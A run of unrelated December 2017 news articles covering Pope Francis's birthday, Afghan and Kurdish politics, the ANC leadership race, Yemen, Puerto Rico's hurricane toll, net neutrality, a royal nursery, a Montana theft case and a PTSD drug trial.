Later on in the day, thousands of children and pilgrims gathered in St. Peters Square during the popes weekly Angelus prayer and sang him Happy Birthday in Italian. Many children brought tiny figurines of the baby Jesus for the pope to bless. The statues will be placed in home nativity scenes, as part of a long-standing Italian custom, Reuters reports.

During his address, the pontiff highlighted the plight of six Catholic nuns who were kidnapped from their convent in Nigeria last month. He prayed for them and other victims of kidnapping to be home in time for Christmas.

In previous years, Francis has celebrated his birthday by having breakfast with homeless people and with young Catholics. Pilgrims have also used Francis birthday to show their appreciation for the worlds first Latin American pope. In 2014, thousands participated in a mass tango in St. Peters Square to celebrate the pope.

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Every elementary school student knows that its only polite to invite your entire class to your birthday party, but what do you do when youre the Pope? You gather up a group of children and invite them all to a pizza party.

Pope Francis, who turned 81 on Sunday, celebrated his birthday with a 13-foot long pizza with a candle stuck in the middle, according to the Associated Press. Since the Pope probably cant eat 13 feet of pizza (or shouldnt anyway, what with gluttony being a mortal sin and all) he invited a group of children who attend a Vatican pediatric clinic to share in the fun and the feast.

After blowing out the candle, he told the children that it was his birthday wish to watch them dive and eat all four meters because it would make them grow. Francis is known for his love of a good pizza, telling TIME back in 2015 that the only drawback to being the leader of the Catholic Church is that he cant slip out to a pizzeria for a slice.

Later, Pope Francis made his weekly appearance in front of the crowd packed into St. Peters Square. There, thousands of children shouted birthday wishes to him, too. No word on whether he had any pizza sauce on his robes.
KABUL (Reuters) - One of Afghanistan's most powerful regional politicians was ousted as governor of the northern province of Balkh on Monday, setting up a confrontation that adds to the uncertainty around President Ashraf Ghani's Western-backed government.

Atta Mohammad Noor is one of the leading figures in Jamiat-e-Islami, a party which mainly represents Afghanistan's Tajik ethnic group, and has used his position in Balkh, on the northern border of the country, as a powerbase to push for a major role on the national stage.

His removal, at a time when tensions between Tajiks and Pashtuns, Afghanistan's two biggest ethnic groups, have been rising, injects extra uncertainty to the already fractured political landscape ahead of presidential elections in 2019.

"This is a unilateral, unprofessional decision by Ghani and his team and we will never accept it," a close aide to Atta Noor said.

Atta Noor is one of a clutch of powerful regional and ethnic leaders whom Ghani has struggled to control. He has had a complicated relationship with the president, who has tried previously to remove him but with whom he also discussed a possible role in the government earlier this year.

He submitted his resignation several months ago but the move never took effect until Ghani approved it on Monday, announcing at the same time that Mohammad Daoud, also from Jamiat, would become the next governor of Balkh province.

"The Afghan president has accepted Atta Mohammad Noor's resignation and announced Engineer Mohammad Daoud as the new governor," Shah Hussain Murtazawi a spokesman for Ghani said.

The aide to Atta Noor, who spoke on condition of anonymity, said the resignation had been offered with conditions attached. He did not specify what these were but said they had been issued to strengthen national unity and had not been respected.

Ghani's national unity government, formed after the disputed election of 2014 forced him into an uneasy power-sharing arrangement with his former rival Abdullah Abdullah from Jamiat, retains the support of the international community and the United States. But it has faced mounting criticism from an array of opposition groups.

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Parliamentary elections originally due to be held next year are in doubt and former President Hamid Karzai has called for a loya jirga, or traditional grand council of political leaders and elders to decide the future of the government.

The confrontation with Atta Noor comes several months after a standoff with Vice President Rashid Dostum over accusations of the sexual abuse of a political opponent. Dostum, an ethnic Uzbek leader and veteran of decades of Afghan politics, has been in Turkey since May, ostensibly for medical treatment.

(Reporting by Matin Sahak and Hamid Shalizi; writing by James Mackenzie, Editing by Angus MacSwan)
As authorities were still trying to determine the causes  and the exact death toll  of Mondays Amtrak derailment in Washington state, President Donald Trump immediately waded into a policy debate, teasing a soon to be submitted infrastructure plan for roads, bridges, tunnels, railways (and more).

It is all the more reason why we must immediately start fixing the infrastructure of the United States, Trump said in subsequent remarks on Monday.

But theres one problem  the Trump Administration already has submitted an infrastructure plan as part of its 2018 budget proposal  and it proposes deep cuts to the nations rail systems.

Trump often talked about a $1 trillion infrastructure plan when he was a candidate, and he included a $1 trillion private/public infrastructure investment in the 2018 budget his administration proposed to Congress in May. The plan called for $200 billion in spending in infrastructure, but it also also limited money to build new or expand existing lines and slashed subsidies for rural lines.

The train accident that just occurred in DuPont, WA shows more than ever why our soon to be submitted infrastructure plan must be approved quickly. Seven trillion dollars spent in the Middle East while our roads, bridges, tunnels, railways (and more) crumble! Not for long!  Donald J. Trump (@realDonaldTrump) December 18, 2017

Overall, the budget request would slash railroad funding from the President Barack Obama era by almost 13%, according to The Washington Post.

The Presidents infrastructure agenda reflects a bait-and-switch: rhetoric that suggests a commitment to rebuilding, but policies that would undermine our ability to do so, wrote Jacob Leibenluft, a Senior Adviser at Center on Budget and Policy Priorities who worked for the Obama administration and Hillary Clintons campaign, in June.

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The Post reported in September that the president was backing away from private-public partnership funding, but his administration has yet to reveal his new method of financing infrastructure investments. The White House did not immediately respond to request for comment about the infrastructure plan to which Trump alluded on Monday.

When Trump was touting his infrastructure plan, he seemed to be insinuating that funding had been sacrificed because of the money spent in the Middle East, citing a $7 trillion pricetag that exceeds most estimates. As the wars in Iraq and Afghanistan have expanded, theyve also exploded the national debt. Budgets, however, did not reflect those true costs and for years were treated as separate spending decisions, usually financed through borrowing.

And the criticism of red ink runs counter to this weeks push by Republicans in Congress to add another $1.5 trillion in borrowing to pay for tax cuts.
A 41-year-old man who has been in and out of custody across Montana throughout the year after posting bond in criminal cases or being released by a judge was sentenced Monday for stealing cars from a Missoula dealership.

Aragorn Berger, 41, still has pending cases in Silver Bow and Gallatin counties, where he racked up new charges during two of the times he was out of custody throughout the year.

According to records from the county attorneys office, Missoula County District Court Judge Leslie Halligan imposed a 20-year Department of Corrections sentence with 15 of those years suspended on Berger. Prosecutors had requested a 20-year sentence to the Montana State Prison with three of those years suspended.

Berger was charged in January in Missoula after stealing cars and other items  including a surveillance system  from a Missoula car dealership. He quickly posted a $10,000 bond in the case, only to be arrested again in March on a warrant issued after a series of driving offenses.

In late March, Halligan released Berger onto pretrial supervision, but less than a week later a new warrant was issued after he stopped reporting to his supervising officer. Berger was arrested in North Dakota in April after leading police on a chase in a stolen car.

When he was returned to Missoula, Berger again posted his bail, and was arrested in July on a new warrant for more violations of his release conditions.

In September, Halligan again released Berger so he could attend voluntary addiction treatment in Butte. A week after being released, Berger was arrested in Butte and charged with a new felony after being found loading backpacks and tools into the back of a mans truck the same day he left the treatment center and  according to court documents  may have stolen property from the center.

Despite a new Missoula warrant being filed that should have held him in custody in Butte, Berger was released there after posting the bond for his new felony charge. Days later, he was arrested in West Yellowstone after leading officers on a high-speed  and occasionally off-road  chase in a car with stolen license plates, according to court documents. That chase ended when he hit a Montana Fish, Wildlife and Parks patrol vehicle.

Last month, Berger pleaded guilty to felonies for burglary and theft in his Missoula case.
Princess Charlotte with her mother, the Duchess of Cambridge - JULIAN SIMMONDS

They moved back to London from Norfolk in order to increase their workload on behalf of the Queen. And now, the Duke and Duchess of Cambridge have signalled their intention to prioritise their official duties by enrolling their two-year-old daughter at a private nursery full time.

Princess Charlotte is to attend the kind and gentle Willcocks Nursery School, which is barely half a mile from Kensington Palace, from January, seven hours a day, five days a week.

The decision marks a significant departure from the way in which Prince George was introduced to the education system - attending a modestly-priced Montessori nursery school in Norfolk, where most parents get financial help to pay the fees, only part time.

By comparison, Kensington Palace announced that Princess Charlotte, who has never previously attended any form of nursery or pre-school, would join Willocks, at which annual fees will exceed 16,000 a year, full time.

She will be enrolled in their morning school, lunchtime club and afternoon school, attending from 9am until 4pm, taking in her own packed lunch and joining activities including cooking, music and acting.

The nursery accommodates 32 children aged between two and three quarters and five, meaning that Charlotte, who turns three in May, will be among the youngest.

Willcocks Nursery School Credit: Kensington Palace

The morning sessions, running from 9am until 12pm are five days a week while the lunchtime and afternoon sessions take place on Mondays, Thursdays and Fridays.

Advice on the nurserys website suggests that lunch club is for children ready for a longer learning session and for older children to prepare them for big school. while the afternoon session is aimed at the two and three-year-olds.

The daily routine at the nursery, which is based in the church hall at Holy Trinity Church in Kensington, includes prayers and hymns and employs professional dance and French teachers.

A Kensington Palace spokeswoman said the Duke and Duchess thought Willcocks an ideal first step for their daughter and that they were impressed by the staff.

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The Willcocks Nursery School Credit: Zak Hussein/Splash

She also noted that when the Cambridges moved back to London from Norfolk it was to enable them to continue to increase their official work on behalf of The Queen and for the charities and causes they support.

The Duchesss third baby is due in April and so it is understood the decision will also allow her to spend time bonding with the baby.

Willcocks, which has an all-female staff, is described by Tatler as a "hidden gem" that "flies under the radar" and is attended by British children and "chic foreigners" alike, some of whom register their children at birth in order to ensure them a place.

It is rated outstanding by Ofsted because of the exceptional organisation of time and the staff's meticulous planning, which ensures no time is wasted.

Meanwhile, the Cambridges released a new family photograph that features on their Christmas card.

The Duke and Duchess of Cambridge, Prince George and Princess Charlotte in a picture that features on their Christmas card this year Credit: CHRIS JACKSON/GETTY

The image was taken by Chris Jackson, who works for Getty Images and has become the familys favoured photographer for both official and private portraits.

Mr Jackson is married to Natasha Archer, the Duchesss stylist, and together, the couple have become trusted confidantes.

While Mr Jackson has captured some of the familys biggest milestones, from Prince Georges fourth birthday to his first day at school, Ms Archer is credited with persuading the Duchess to try a younger, more glamorous look, not to mention ditching the ubiquitous nude pumps.

Ms Archer attended the prestigious Uppingham School before reading Hispanic Studies at Kings College and joining the royal household as a PA in 2007.

She was one of the first people to arrive at the Lindo Wing of St Marys hospital when Prince George was born in July 2013, carrying a hanger bag believed to contain the blue and white polka dot dress the Duchess would later wear when she presented her son to the world.

Chris Jackson and Natasha Archer Credit: David/SilverHub/REX/Shutterstock

Ms Archer was promoted to the role of stylist the following year and has since joined the royals on numerous foreign tours.

Ms Archer got to know Mr Jackson on the royal couples tour of Australia in April 2014 and they began dating upon their return.

They got engaged last September and married at a lavish wedding in France in April.

Jackson, who has won numerous awards, began photographing the royals for Getty 13 years ago.

Dubbed golden boy by the other royal photographers who rib him mercilessly, he is known for his discretion, carefully walking a difficult line between being a member of the pack and a trusted member of the inner circle.

Chris Jackson and Natasha Archer Credit: Richard Young/REX/Shutterstock

As well as taking the first official portrait pictures of the Duke and Duchess after their wedding and before they went to Canada, he has done a lot of work with Prince Harry on projects including Sentebale in Lesotho, accompanying him during this years Invictus Games in Toronto.

Mr Jackson is often mistaken for the Duke of Cambridge during royal tours abroad and is known for being well-dressed and having a keen eye for fashion, which provides his rivals the perfect opportunity to have a joke at his expense.

Although the epitome of discretion when it comes to the royals, Mr Jackson cannot resist showing off his glamorous wife, publishing scores of photographs of her online, once noting he was definitely punching above my weight.
SULAIMANIYA, Iraq (Reuters) - Three people were killed and more than 80 wounded on Tuesday when Kurdish demonstrators joined a second day of protests against years of austerity and unpaid public sector salaries amid tensions between their region and Baghdad. Iraqi Prime Minister Haider al-Abadi said later he would take action if any citizen were assaulted in Iraq's northern semi-autonomous Kurdistan region. About 1,250 protesters, mostly teachers, students, and civil servants, protested in the city of Sulaimaniya.The Sulaimaniya provincial council told Reuters three people were killed during clashes with Kurdish security forces in the town of Ranya. Regional health officials said six people were injured when the crowd was shot at with rubber bullets and sprayed with tear gas by security forces. Protesters also attacked several offices of the main political parties in Sulaimaniya province on Tuesday. Acknowledging that protesters had a "legitimate right" to demonstrate, Iraq's Kurdistan Regional Government (KRG) nonetheless said the targeting of government offices and party headquarters in Sulaimaniya province was unacceptable. "We are concerned with the uncivil actions and the violence used today in a number of cities and towns across Kurdistan," a KRG statement said. It warned that relevant authorities could intervene to prevent further damage after several people were left injured and property was damaged. Later on Tuesday, Kurdish Asayish security forces raided the offices of Kurdish private broadcast NRT in Sulaimaniya, and took the channel off the air, its head told Reuters. The channel was no longer accessible. NRT's chief also said the broadcaster's founder, Shaswar Abdulwahid, was arrested as he landed at Sulaimaniya airport on Tuesday evening. Last month, Abdulwahid said he sold the broadcaster after launching a new political opposition movement, the New Generation. He had agitated against September's referendum on Kurdish independence, leading NRT's offices to be attacked by a mob in August. At a weekly news conference, Abadi called on the KRG to respect peaceful protests. "We will not just stand by and watch if citizens are oppressed. The Iraqi citizen is an Iraqi citizen everywhere and if there is an attack or violation against citizens in a way that contradicts the constitution we will punish those responsible," Abadi said. "We want there to be freedom for expression and assembly for citizens in the Kurdistan region." Local officials imposed a curfew starting at 7pm (1600 GMT) in several towns including Kifri, Takya and Chamchammal in Sulaimaniya province. In Chamchammal, the curfew will last throughout the day on Wednesday. ROADS CLOSED Tension has been high in the region since the central government in Baghdad imposed tough measures when the KRG unilaterally held an independence referendum on Sept. 25 and Kurds voted overwhelmingly to secede. The move, in defiance of Baghdad, also alarmed neighboring Turkey and Iran who have their own Kurdish minorities. For the second day, protesters demanded that the KRG quit. They set fire to the offices of Kurdish political parties in the towns of Koya, Kifri and Ranya. Officials have closed roads around Sulaimaniya, a Reuters witness said. Security sources said the road between Darbandikhan and Sulaimaniya, which connects the city to southern towns where there are major protests, has been closed. On Monday, Kurdish political offices were also set ablaze in Sulaimaniya province, including a building belonging to the ruling Kurdish Democratic Party (KDP) and one belonging to its coalition partner in government, the Patriotic Union of Kurdistan (PUK). At least 3,000 Kurdish demonstrators had gathered in Sulaimaniya for the protests on Monday against the KRG. Stringent economic measures taken after the Baghdad central government slashed funds to the KRG in 2014 when it built its own oil pipeline to Turkey in pursuit of economic independence have led to sporadic protests over unpaid civil servant salaries in the last three years. After the September referendum, the Iraqi government responded by seizing Kurdish-held Kirkuk and other territory disputed between the Kurds and the central government. It also banned direct flights to Kurdistan and demanded control over border crossings. (Additional reporting by Raya Jalabi in Erbil and Ahmed Rasheed in Baghdad; Writing by Raya Jalabi; Editing by Ahmed Aboulenein and Matthew Mpoke Bigg)
San Juan (AFP) - Puerto Rico's governor on Monday ordered a review of all deaths in the US territory since Hurricane Maria, responding to reports that the island's official toll from the devastating storm may vastly undercount the true number of fatalities.

"This is about more than numbers. These are lives: real people, leaving behind loved ones and families," Governor Ricardo Rossello said in a statement.

The category 4 mega-storm roared across the US territory in the Caribbean on September 20 with massive winds of up to 250 kilometers (156 miles) per hour, completely knocking out the power grid and drinking water supplies, toppling houses and businesses and widespread devastation.

But nearly three months after the hurricane, parts of the island are still without power, and that has meant lingering danger for elderly people in nursing homes, for instance, or those on respirators or needing dialysis.

The power grid is operating at only 70 percent capacity, making life miserable for many on the island of 3.4 million people.

The average number of deaths in October, for instance, was way up from the previous year, according to government figures obtained by AFP.

The total was at 2,963, or 606 -- 25.7 percent -- more than the same month in 2016. The same pattern is seen in September figures from one year to the next.

Still, the official death toll from Maria has stood at 64. And the government has defended its counting methods.

- 'More than a number' -

However, broader analyses of health and death records by Puerto Rico's Center for Investigative Journalism, CNN, The New York Times and Vox placed deaths linked to Maria at between 500 and more than 1,000.

These outlets said their numbers stemmed from visits to funeral homes, senior citizens' centers and hospitals, as well as death counts from government statistics agencies.

In his statement, Rossello said his government always expected the storm-related death toll to rise as more factual information came in.

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The studies done by the Times and other outlets are statistical in nature, he said.

But he added: "Every life is more than a number, and every death must have a name and vital information attached to it, as well as an accurate accounting of the facts related to their passing."

The official review will look at all deaths on the island since the storm, no matter what the death certificate in each case says, Rossello said.

Demographer and independent consultant Raul Figueroa told AFP recently that "the handling of the death toll has not been the most appropriate. It must be handled by an epidemiologist, accompanied by studies."

"There were doctors who did not have a protocol on how to report the dead so that they in turn could be certified by the government, and there were people overwhelmed by their basic and vital needs who did not report their dead," Figueroa said.
It's now up to you and everyone else surfing the internet to make sure companies don't destroy it.

The Federal Communications Commission (FCC) voted to end net neutrality on Thursday, which could mean the end of the open internet as we know it. While there will be long court battles ahead as agencies attempt to undo or block the FCC's decision, there are a few things that good citizens of the internet can expect and look out for should any internet company begin to take advantage.

Here's what you need to know:

Things are not going to happen quickly

Despite the quick vote from the FCC, throttled and packaged internet will likely not roll out immediately. While that may seem like a blessing, companies know the public is keeping an eye out, and any major rollouts would be quickly spotted.

SEE ALSO: Breitbart and Infowars are anti-net neutrality, but could be hit hard under repeal

Go to https://t.co/XEIIzYhOWh and enter you number so you can call congress to protect net neutrality or your internet packages will start looking like this #NetNeutraility pic.twitter.com/iKl0nikmEl  Seth (@seth_hefferman) November 22, 2017

"None of these companies are going to start offering a tiered internet program tomorrow. Piece by piece they're going to start chipping away at it. Then, all of a sudden, we're in an internet that feels a lot like cable channel bundles," said Florian Schaub, assistant professor of information at the University of Michigan.

"The changes will be very creeping. I think the stuff we will be seeing more and more is zero rating. First it seems like a nice benefit for consumers. 'Now Netflix is free and doesn't count towards your data cap,'" Schaub said. "The next step is to watch out for what are the requirements for companies to be part of these zero rating offers."

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As an example, Schaub pointed to T-Mobile's Binge On service, which allows you to watch certain streaming services on your mobile device that do not count towards your data caps. In order to comply with net neutrality, T-Mobile allowed any streaming service to become part of this service.

"In the future there may be a financial threshold. You may need to be part of these services, and it will be fully legal," Schaub said.

So while a big player like Amazon will be able to shell out money for a spot in the preferred service, smaller companies may not be given the same access. That is bad for the little guys, and often the little guys make the best stuff on the internet.

Read the 'Terms of Service'

Almost nobody reads those ridiculously long terms of service agreements, but it may be a good time to start. Companies will have to disclose any changes made to their services, but they won't make it easy to find or understand.

"Next time Comcast, Verizon, AT&T update their terms of service (TOS) or privacy policy, what are they actually changing?" Schaub said. "It's probably not going to be super obvious and might just be things where they kind of loosen the language a little bit to allow them to do stuff they weren't allowed before, but that's the stuff to watch out for."

When asked if people were going to go through TOS more carefully than before, Schaub was not very confident.

"There's no real incentive to reading them. Even if you don't agree, what are you going to do? Not using internet at home anymore? You don't really have much of a way of recourse. So ultimately that role there probably falls to researchers and activists to kind of really watch what these companies are doing and then take action."

Watch for throttling and blocking

While internet packages and blocking has been the go-to evil theory tossed into the mix from disbanding net neutrality, the silent killer may be throttling, which will allow your ISP to slow down your access speeds to certain areas of the internet. Under this new shift, it is entirely possible that companies will start throttling, but there's a catch  it must be disclosed.

If you do feel your internet is being throttled in some way, make a stink about it.

Disbanding net neutrality essentially restored authority to the Federal Trade Commission (FTC), but there are not many regulations set up in terms of what ISPs can and can't do. Additionally, it's unclear if the FTC even has any jurisdiction over these companies.

"As long as the companies are transparent about who they're throttling and why, they're allowed to do it. Watching out for it is definitely helpful, but the only way to actually do something is if they throttle but don't disclose that in their terms of service," Schaub said.

So if you do suspect throttling that isn't disclosed, or even if it is disclosed, file a complaint with the FTC and FCC for unfair or disruptive behavior. The FTC won't monitor these companies, they rely on the public to report wrongdoing.

"Even though the majority of the FCC is not listening to consumer voices, consumers have to continue to speak up," FCC Commissioner Mignon Clyburn said last week on the Mashable podcast Biz Please. "If you feel you have been blocked or slowed down by your Internet Service Provider, if you service continues to get worse ... you need to complain to the FCC no matter what authority it has or has not accepted."

Get involved and stay active

Perhaps the biggest threat to the free and open internet is the public losing interest. Staying up to date on the most recent updates, complaints, developments, and concerns is essential. If users stand down and let big corporations regulate the internet to their desire, they will continue to push, and squeeze every dollar they can from your pocket every time you log on.

Subscribe to the Net Neutrality subreddit.

Set up a Google alert of net neutrality and read the news each day.

Join Twitter and become part of the conversation.

Call your representatives

We know, we know. 2017 has been the year of "call your representatives," but it truly is one of the most important and influential things you can do.

"Call your representatives and tell them to reinstate net neutrality and make net neutrality a law ... that's really the only way to make Congress understand that this is not OK," said Schaub.

Making net neutrality a law will protect the open internet for years to come. California State Senator Scott Wiener says he plans to introduce legislation to require net neutrality in The Golden State, and is actively working with the "Electronic Frontier Foundation, the ACLU, and other organizations dedicated to a free and open internet" to do so. There is no reason, with enough support, that other states can't attempt to do the same.

Battle for the Open Internet is a great place to find your representatives, see where they stand, and contact them.

"Even if you feel that there is no place to go, you need to talk to the FCC, you need to talk to your state, local, and federal officials to say exactly what is going on when it comes to your service," said Clyburn.

Donate to organizations that will fight for you

Would you rather give your hard-earned cash to a major telecom corporation or to a non-profit that will act as a watchdog to help protect your interests?

The ACLU and Electronic Frontier Foundation are great places to start.

Don't believe the doublespeak

Politicians and the FCC are going to try to swing the FCC's recent decision as a way to deregulate and make a more open internet, and this could not be further from the truth. It's deceitful, and frankly, disgusting that they're trying to spin net neutrality as an overreach from the Obama administration in order to convince you that this is a good thing for the internet.

I commend Chairman @AjitPaiFCC and the FCC for repealing these oppressive Obama-era regulations and restoring freedom to the internet: https://t.co/B8ujDHc55i  Ted Cruz (@tedcruz) December 14, 2017

Ultimately, if you are a well-off individual, this may not hurt you at all. If you have the money to purchase the whole internet with the fastest speeds, you may see no change. Who this is likely to affect is people of low socioeconomic status, who may not be able to afford the best package, or who may only have one option of an ISP.

While opening the internet to the entire world has posed some problems (see: Nazis and ISIS on Twitter) it has also done an unmeasurable amount of good. An open and free internet should now be considered a basic human right, don't let some corporate shrew tell you otherwise.
By Alexander Winning and Nqobile Dludla JOHANNESBURG (Reuters) - The fight to lead South Africa's ruling ANC hung in the balance on Monday, with voters and markets on edge for a result that will set the direction for the country and the scandal-plagued party. As the ANC prepared to announce either Deputy President Cyril Ramaphosa or Nkosazana Dlamini-Zuma, a former cabinet minister and the ex-wife of President Jacob Zuma, as the winner, party delegates sang and danced in the large conference hall. Ramaphosa grinned and hugged senior party officials on the podium, whereas Dlamini-Zuma stood and talked calmly with other officials. Opposition figure Julius Malema announced on Twitter: "It's a boy", suggesting a victory for market favourite Ramaphosa. The rand extended its gains to more than 4 percent on the day, reaching its highest level since March. ANC chairwoman Baleka Mbete had earlier told delegates election officials would come to make an announcement. It was unclear whether that signalled an imminent result. The vote is perhaps the most pivotal moment for the ANC since it launched black-majority rule under Nelson Mandela's leadership 23 years ago. Zuma's presidency, tainted by graft accusations that he denies, has tarnished the party's image and raised the prospect of splits. Whoever emerges at the helm of the 105-year-old liberation movement is likely to become the country's next president after elections in 2019. "It is going to be very close," a senior ANC source said. "Both camps have spreadsheets where they have calculated the number of delegates on their side. Both sides have different assumptions and guesswork." Ramaphosa, 65, a former trade union leader who became a businessman and is now one of the richest people in South Africa, has vowed to fight corruption and revitalise the economy, a message hailed by foreign investors. Dlamini-Zuma, 68, the president's preferred candidate, has pledged to tackle the racial inequality that has persisted since the end of white-minority rule. They were the only candidates nominated for the ANC leadership at a conference in Johannesburg on Sunday night. The party's Chief Whip Jackson Mthembu announced on Twitter that he voted for Ramaphosa, while police minister Fikile Mbalula tweeted that he had cast his vote for Dlamini-Zuma. Zweli Mkhize, the outgoing ANC treasurer general, declined to say who he would vote for but said he had "absolute confidence" the delegates would make a good choice. "FASTEN YOUR SEATBELTS" In a boost to Ramaphosa, courts ruled last week that officials from some provinces seen as supporting Dlamini-Zuma had been elected illegally and were barred from the conference. The rand currency rose on the court orders and then extended its gains on Monday, racing to a 3-1/2-month high of 12.7300 earlier. Government bonds also firmed on hopes Ramaphosa would win the race. "The rand is considerably stronger than where it was last week. I think a Cyril Ramaphosa win is priced in," said IG Markets currency strategist Shaun Murison. "Please fasten your seatbelts,!" Commerzbank analysts said in a note, aimed at traders holding rand positions. Ramaphosa drew the majority of nominations from party branches scattered across the country. But the delegates are not bound by their branches when they vote at the conference. "The race is extremely close," said Susan Booysen, a political analyst at the University of Witwatersrand's School of Governance in Johannesburg. "Before today we said Dlamini-Zuma could emerge as a winner. Even if there is a strong lead in terms of branch nominations by the Ramaphosa camp, it's not clear-cut." In his last speech as ANC president on Saturday, Zuma announced plans to raise subsidies for tertiary colleges and universities, a move analysts said was timed to appeal to the party's more populist members allied to Dlamini-Zuma, the first woman nominated as an ANC presidential candidate. Zuma has faced allegations of corruption since he became head of state in 2009 but has denied any wrongdoing. On Monday, Zuma visited a part of the conference where businesses and charitable foundations had set up stands. "I am happy to say now I'm bowing out because I think from my own point of view I made my contribution," he told reporters. (Additional reporting by James Macharia, Mfuneko Toyana, Olivia Kumwenda-Mtambo, Ed Stoddard and Zandi Shabalala; Writing by James Macharia)
Saudi Arabia has intercepted a rocket fired by rebel Houthi fighters in Yemen, who declared a new chapter in its confrontation with the kingdom.

The Volcano 2-H ballistic missiles was aimed at the al-Yamma royal palace in Riyadh, but was stopped by Saudis air defences.

Reporters heard a blast and saw a plume of smoke rising above the Saudi capital near the palace, where King Salman chairs weekly government meetings and hosts foreign dignitaries.

It was the second time in as many months that a rebel projectile had reached as far inside the kingdom as Riyadh, and while audacious, neither caused any real damage.

In a televised address, rebel leader Abdul-Malik al-Houthi said the range of missiles in the Houthi arsenal was being extended. "Our long hand will reach other places, God willing," he said.

A screenshot from a video purportedly showing Saudi air defense intercepting a missile over Riyadh Credit: Twitter

"As long as you continue to target Sanaa we will strike Riyadh and Abu Dhabi," he said, referring to the seat of government of the United Arab Emirates, a key member of the coalition.

Earlier this month, the Houthis claimed they fired a missile at an under-construction nuclear plant in the Emirates. The UAE denied the claim.

The rebels claimed Saudi palaces, military and oil facilities were all within range of such missiles fired from Yemen.

Nikki Haley, the US ambassador to the United Nations, last week displayed what she said was "undeniable" evidence that Iran was supplying the Houthis with missiles. Washington has backed the Saudi-led coalition in its war in Yemen.

Houthis patrol around after clashes between Houthis and Former Yemeni President Ali Abdullah Saleh's supporters in Sanaa Credit: Getty

Iran, Saudis regional foe, rejected the allegations and has repeatedly denied arming the rebels.

Mohammed bin Salman, Saudi Arabia's Crown Prince, has described what Riyadh says is Iran's supply of rockets to the Houthis as "direct military aggression" that could be an act of war.

More than 8,750 people have been killed since Saudi Arabia and its allies joined the government's fight against the Houthis in 2015, triggering what the UN has called the world's worst humanitarian crisis.

Story continues

The attacks, which could further escalate a military campaign by a Saudi-led coalition against the rebels, underscore how the raging Yemen conflict is increasingly spilling across the border.

Saudi and coalition air strikes have intensified since the December 4 killing of ex-president Ali Abdullah Saleh at the hands of the Houthis after his alliance with the rebels collapsed.

A malnourished Yemeni child receives treatment at a hospital in the capital Sanaa Credit: AFP

Yemen's war has killed more than 10,000 civilians and driven millions to the brink of famine.

The coalition imposed a blockade on aid and commercial shipping to rebel held parts of Yemen on Nov. 6, in response to a Houthi missile attack.

Although restrictions on some aid shipments have been eased since Nov. 26, humanitarian agencies have warned deliveries are still bottlenecked and the country faces one of the worst food crises in history if commercial shipping is not restored.

In a rare public rebuke by a British Cabinet minister, Penny Mordaunt, the secretary of state for international development, said Saudi Arabia had no excuses for blocking food and fuel shipments to Yemen and could be in breach of international humanitarian law if it continues to do so.

Secretary of State For International Developement Penny Mordaunt on a fact finding mission to Djibuti which while providing a major hub for aid into Yemen, is currently being obstructed by Saudi Arabia Credit: David Rose for the Telegraph

She told the Telegraph last week that the kingdoms relationship with the UK could be damaged if Riyadh does not act to ease restrictions she warned could push the country into the worst famine in decades.
By Tom Miles GENEVA (Reuters) - Air strikes by the Saudi-led military coalition in Yemen have killed at least 136 civilians and non-combatants since Dec. 6, the U.N. human rights spokesman said on Tuesday. Other U.N. officials said the coalition was maintaining tight restrictions on ships reaching Yemen even though 8 million Yemenis are on the brink of famine with the country relying on imports for the bulk of its food, fuel and medicine. "We are deeply concerned at the recent surge in civilian casualties in Yemen as a result of intensified air strikes by the ... coalition, following the killing of former president Ali Abdullah Saleh in Sanaa on Dec. 4," human rights spokesman Rupert Colville told a news briefing. Incidents verified by the U.N. human rights office included seven air strikes on a prison in the Shaub district of Sanaa on Dec. 13 that killed at least 45 detainees thought to be loyal to President Abd-Rabbu Mansour Hadi, who is backed by Saudi Arabia. "One can assume that was a mistake, they weren't intending to kill prisoners from their own side," Colville said. "It's an illustration of lack of due precaution." Other air strikes killed 14 children and six adults in a farmhouse in Hodeidah governorate on Dec. 15, as well as a woman and nine children returning from a wedding party in Marib governorate on Dec. 16, he said. Air strikes verified by the U.N. rights office in Sanaa, Saada, Hodeidah and Taiz governorates also injured 87 civilians. "If in a specific event due precaution is not taken or civilians are deliberately targeted, that can easily be a war crime," Colville said. It is up to a court to make a ruling, he said, but there had been so many similar incidents in Yemen, it would be hard to conclude war crimes had not taken place. On Tuesday Saudi air defenses intercepted a ballistic missile fired towards the capital Riyadh but there were no reports of casualties, the coalition said, the latest in a series of attacks by the Iran-aligned Houthi group in Yemen. The restrictions on access to Yemen imposed by the coalition became a total blockade on Nov. 6 though conditions were eased on Nov. 25 to allow aid ships and some commercial cargoes to reach the shattered Arabian Peninsula country. The U.N. World Food Programme has brought in enough food for 1.8 million people for two months, but far more is needed. (Reporting by Tom Miles; Editing by Mark Heinrich)
Montana veterans who suffer from post traumatic stress disorder as a result of military service from 2001 on may be eligible to participate in a new clinical trial to test an experimental medicine.

"We believe it improves sleep quality, and that's very different from sleep quantity," said Seth Lederman, president and chief executive officer of Tonix Pharmaceuticals. "It is not a sleeping pill. It is not a narcotic. And it is not addictive."

Monday at a news conference, Lederman and representatives from Providence St. Patrick Hospital and the University of Montana announced the launch of The Honor Study that aims to test the drug called Tonmya. Researchers are seeking veterans with PTSD who are willing to participate in the study (see related box for details).

"We think that this (medicine) can lead to healing," said Lederman, also former associate professor at Columbia University's medical school.

The nationwide study is targeting 550 participants, and U.S. Sen. Jon Tester helped bring the project to Missoula. In a video message, the Democrat said an estimated 15,000 veterans in the state experience PTSD, making it hard for them to hold jobs and provide for their families.

"We'll be trying to treat one of the largest unseen wounds in the world," said Tester, who also thanked veterans in attendance for their service and sacrifice.

At the news conference at St. Pat's, researchers talked about results of earlier trials, the hope for the current phase, and the reason Missoula is one of an estimated 40 study sites in the U.S.

"The best patient care seems to occur in institutions where research is occurring," Lederman said. "Research is a magnet for the best young minds and the most dedicated faculty, and Montana is a fertile ground for a growing clinical enterprise in PTSD."

***

The study is free to veterans who participate. Tonix is sponsoring the research, which Lederman said cost an estimated $120 million in its first two phases and could cost some $60 million in its third phase.

Participants place the medicine or a placebo under their tongues at bedtime every night for 12 weeks, he said. The active ingredient in the drug was initially developed as a treatment for muscle spasms.

In general, he said the medicine performed well compared to others for psychiatric conditions when it comes to the balance of risk versus reward. He said side effects include insomnia, dry mouth and sleepiness, but not weight gain or increases in blood pressure or blood sugar levels.

"This research has taken decades to bring to fruition," Lederman said.

An earlier trial with some 231 participants included tests of a low dose and high dose of the drug, and the results of the high dose were encouraging, he said. In Phase 2, some 21 percent of patients were in remission in weeks eight and 12 of the study compared to 5 percent of the patients who took a placebo.

"We're hoping this study will confirm the results of that earlier study," Lederman said.

